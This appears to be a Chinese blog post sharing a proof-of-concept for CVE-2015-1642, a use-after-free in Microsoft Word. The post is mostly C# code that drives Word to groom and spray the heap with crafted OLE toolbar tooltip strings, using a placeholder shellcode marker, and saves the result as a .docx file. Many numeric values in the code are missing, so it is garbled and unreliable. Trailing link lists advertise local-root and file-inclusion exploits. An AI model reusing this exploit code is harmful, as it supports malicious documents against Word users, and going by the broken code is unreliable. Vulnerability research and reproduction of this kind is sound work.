月初,玄武实验室的“每日安全动态”推送了一篇office UAF漏洞利用的文章,之前对office上UAF漏洞利用占位问题有些疑问,刚好就借助这篇文章重现了一下。其中堆喷射部分不是特别稳定,漏洞成因和利用的细节请参见原文链接。今天想起来,就把POC发这里吧。

  原文链接:Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 CTaskSymbol UAF by @ d0mzw https://t.co/NPJUJUqNSH

 namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
} private void HeapSpray(Word.Document objDoc)
{
Word.InlineShape[] ocx = new Word.InlineShape[];
MSComctlLib.Toolbar[,] toolbarArray = new MSComctlLib.Toolbar[, ]; int block_size = 0x1000; string padding = "\u8080\u8080";
while (padding.Length < 0x1000)
{
padding += "\u2121\u2121";
}
padding = padding.Substring(, (0x9f2 - 0xc) / ); // 0a0a0a0a points here
string shellcode = "\uC0DE\uC0DE"; string pattern = "\u9090\u9090";
while (pattern.Length < block_size)
{
pattern += pattern;
}
pattern = pattern.Substring(, 0x800 - padding.Length - shellcode.Length); string block = padding + shellcode + pattern;
while (block.Length < 0xfffe0 / )
{
block += block;
} string chunk = block.Substring(, (0xfffe0 - 0x6) / ); //MessageBox.Show("[+] objAlloc size: 0x" + (chunk.Length * 0x2 + 0x4 + 0x2).ToString("X")); for (int i = ; i < ; i++)
{
ocx[i] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
for (int j = ; j < ; j++)
{
toolbarArray[i, j] = ((MSComctlLib.Toolbar)ocx[i].OLEFormat.Object);
toolbarArray[i, j].Buttons.Add().ToolTipText = chunk;
}
}
} private void DefragmenHeap(Word.Document objDoc, Word.InlineShape[] ocx)
{
string paddingB = "\u0c0c\u0c0c";
while (paddingB.Length < 0x60 / )
{
paddingB += paddingB;
}
string objAllocB = paddingB.Substring(, 0x5a / ); MSComctlLib.Toolbar[] tabArrayB = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayB[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayB[j].Buttons.Add().ToolTipText = objAllocB;
} MSComctlLib.Toolbar[] tabArrayC = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayC[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;
}
} private void ReplaceHeap(Word.Document objDoc, Word.InlineShape[] ocx)
{
string paddingA = "\u0a06\u0a0a";
while (paddingA.Length < 0x60 / )
{
paddingA += paddingA;
}
string objAllocA = paddingA.Substring(, 0x5a / ); MSComctlLib.Toolbar[] tabArrayA = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayA[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayA[j].Buttons.Add().ToolTipText = objAllocA;
}
} private void button1_Click(object sender, EventArgs e)
{
Word.Application objWord = new Word.Application();
objWord.Visible = true; object objMissing = System.Reflection.Missing.Value;
Word.Document objDoc = objWord.Documents.Add(ref objMissing, ref objMissing, ref objMissing, ref objMissing); // How to: Programmatically Insert Text into Word Documents;
// https://msdn.microsoft.com/en-us/library/6b9478cs.aspx Word.InlineShape[] ocx = new Word.InlineShape[]; ReplaceHeap(objDoc, ocx); ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); DefragmenHeap(objDoc, ocx); HeapSpray(objDoc); // Null out the reference
object filename = Application.StartupPath + @"\test.docx";
objDoc.SaveAs2(ref filename);
objDoc.Close(ref objMissing, ref objMissing, ref objMissing);
objDoc = null;
objWord.Quit(ref objMissing, ref objMissing, ref objMissing);
objWord = null;
}
}
}

CVE-2015-1642 POC的更多相关文章

  1. 如何确定Ubuntu下是否对某个CVE打了补丁

        前些日子在月赛中,拿到了一台Ubuntu14.04的服务器,但并不是root权限,需要提权.我Google了一下,找到了CVE-2015-1318,CVE-2015-1328,CVE-2015 ...

  2. CVE-2015-1328 Ubuntu 12.04, 14.04, 14.10, 15.04 overlayfs Local Root

    catalog . 引言 . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch ...

  3. CVE-2015-1328(本地提权漏洞)

    /* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebe ...

  4. [EXP]Joomla! Component Easy Shop 1.2.3 - Local File Inclusion

    # Exploit Title: Joomla! Component Easy Shop - Local File Inclusion # Dork: N/A # Date: -- # Exploit ...

  5. GitHub万星项目:黑客成长技术清单

    最近有个GitHub项目很火,叫"Awesome Hacking",这个项目是由Twitter账号@HackwithGithub 维护,喜欢逛Twitter的安全爱好者应该了解,在 ...

  6. 转:GitHub 万星推荐成长技术清单

    转:http://www.4hou.com/info/news/7061.html 最近两天,在reddit安全板块和Twitter上有个GitHub项目很火,叫“Awesome Hacking”. ...

  7. billu_b0x靶场刷题

    https://www.vulnhub.com/ 里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了. 第一步.信息收集 nmap扫描内网开放80端口的存活主机  nmap ...

  8. GitHub 万星推荐:黑客成长技术清单

    GitHub 万星推荐:黑客成长技术清单 导语:如果你需要一些安全入门引导,“Awesome Hacking”无疑是最佳选择之一. 最近两天,在reddit安全板块和Twitter上有个GitHub项 ...

  9. 刷题[De1CTF 2019]SSRF Me

    前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...

  10. 从补丁到POC CVE-2015-0003(2015.3)

    从补丁到POC CVE-2015-0003 1. 简介 该漏洞是由于Windows的win32k.sys模块存在对用户层参数验证不完全,导致存在空指针解引用(Null Pointer Derefere ...

随机推荐

  1. vuex到底是什么?

    vuex到底是什么? 使用vue也有一段时间了,但是对vue的理解似乎还是停留在初始状态,究其原因,不得不说是自己没有深入进去,理解本质,导致开发效率低,永远停留在表面, 更坏的结果就是refresh ...

  2. Request笔记

    1 Request 的简介和运行环境 1.HttpServletRequest 概述 我们在创建 Servlet 时会覆盖 service()方法,或 doGet()/doPost(),这些方法都有两 ...

  3. 【LESS系列】一些常用的Mixins

    在我们平时的开发中,对于一些使用频率很高的方法函数,我们一般都会将其归纳到一起,整理出一个核心库来. 其实这个思想,借助 LESS 也可以在 CSS 中得以实现. 下面是几个在 W3CPLUS 中偷过 ...

  4. 深入理解JavaScript系列(42):设计模式之原型模式

    介绍 原型模式(prototype)是指用原型实例指向创建对象的种类,并且通过拷贝这些原型创建新的对象. 正文 对于原型模式,我们可以利用JavaScript特有的原型继承特性去创建对象的方式,也就是 ...

  5. [转]oracle update set select from 关联更新

    本文转自:http://blog.csdn.net/disiwei1012/article/details/52589181 http://www.blogjava.net/Jhonney/archi ...

  6. IE11 F12 开发人员工具 查看 Cookie

    参考网址:Using the F12 developer tools in IE11 Step1 : IE11 => F12 打开 开发人员工具 Step2:开发人员工具 => 网络F5 ...

  7. 九、cent OS下tomcat改变日志目录

    修改catalina.out的目录bin目录下修改catalina.sh:CATALINA_OUT="$CATALINA_BASE"/logs/catalina.out  此行内的 ...

  8. SSM+PageHelper+jqGrid实现数据分页

    前言 前几天自己写了一个分页功能,代码逻辑写的很乱今天发现jqGrid这个工具是真好用,故记录下来方便以后使用首先是PageHelper后台分页工具PageHelper的原理是基于拦截器实现的 具体流 ...

  9. Browser对象之Window对象

    对象属性 对象方法 setInterval() 按照指定的周期(以毫秒计)来调用函数或计算表达式. setInterval() 方法可按照指定的周期(以毫秒计)来调用函数或计算表达式. setInte ...

  10. Gradle sync failed: Cause: org.gradle.logging.StyledTextOutput$Style Consult IDE log for more details

    环境 Android studio 3.0 导入开源中国: ... dependencies { //noinspection GradleDependency classpath 'com.andr ...